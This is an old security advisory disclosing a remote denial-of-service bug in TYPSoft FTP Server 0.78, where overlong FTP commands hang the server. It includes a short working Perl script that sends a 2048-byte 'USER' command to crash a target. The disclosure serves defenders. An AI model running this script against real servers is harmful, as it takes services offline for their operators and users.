*******************************************
           +  TYPSoft FTP Server remote DoS Problem  +
           *******************************************
           #            Advisory by dethy            #
           #            www.synnergy.net             #
           |=========================================|

                        Advisory # 12

Vulnerable:     TYPSoft FTP Server 0.78  [ although 0.7X are also vulnerable ]
Systems   :     Win9X, WinNT
Product   :     https://www.multimania.com/typsoft/
Discovery :     dethy@synnergy.net

                " Another trivial bug. "

Description
-----------

TYPSoft FTP is a Freeware FTP server, with all the necessary
features to facilitate beginners and advanced users.


Vulnerability
-------------

TYPSoft FTP Server does not correctly deal with long commands
over 2048 bytes [ 2k ]. So by sending a long 'user', 'pass',
'cwd', etc, causing the server to hang and increase system resources.
The process will not be active until it is manually restarted.


Exploit
-------

simple script to send a long 'user' command to the server, resulting
in the ftpd crashing.

================<cut>==================
#!/usr/bin/perl
use Getopt::Std;
use IO::Socket;
getopts('s:', \%args);
if(!defined($args{s})){&usage;}
$serv = $args{s};
$foo = "A"; $number = 2048; 
$data .= $foo x $number; $EOL="\015\012";
$remote = IO::Socket::INET->new(
                    Proto       => "tcp",
                    PeerAddr    => $args{s},
                    PeerPort    => "ftp(21)",
                ) || die("Unable to connect to ftp port at $args{s}\n");
$remote->autoflush(1);
print $remote "USER $data". $EOL;
while (<$remote>){ print }
print("\nCrash was successful !\n");

sub usage {die("\n$0 -s <server>\n\n");}
================</cut>====================

Solution
--------

The vendor [ typsoft@altern.org ] has been contacted, wait until a patched version 
comes out or use an alternative product.


Disclaimer
----------

Synnergy Networks may not be held liable for the use and/or potential effects of these
programs or advisories, nor the content contained within. Use them at your own risk.

---------------------------------------------------------------------------------------
Web     : https://www.synnergy.net
E-Mail  : dethy@synnergy.net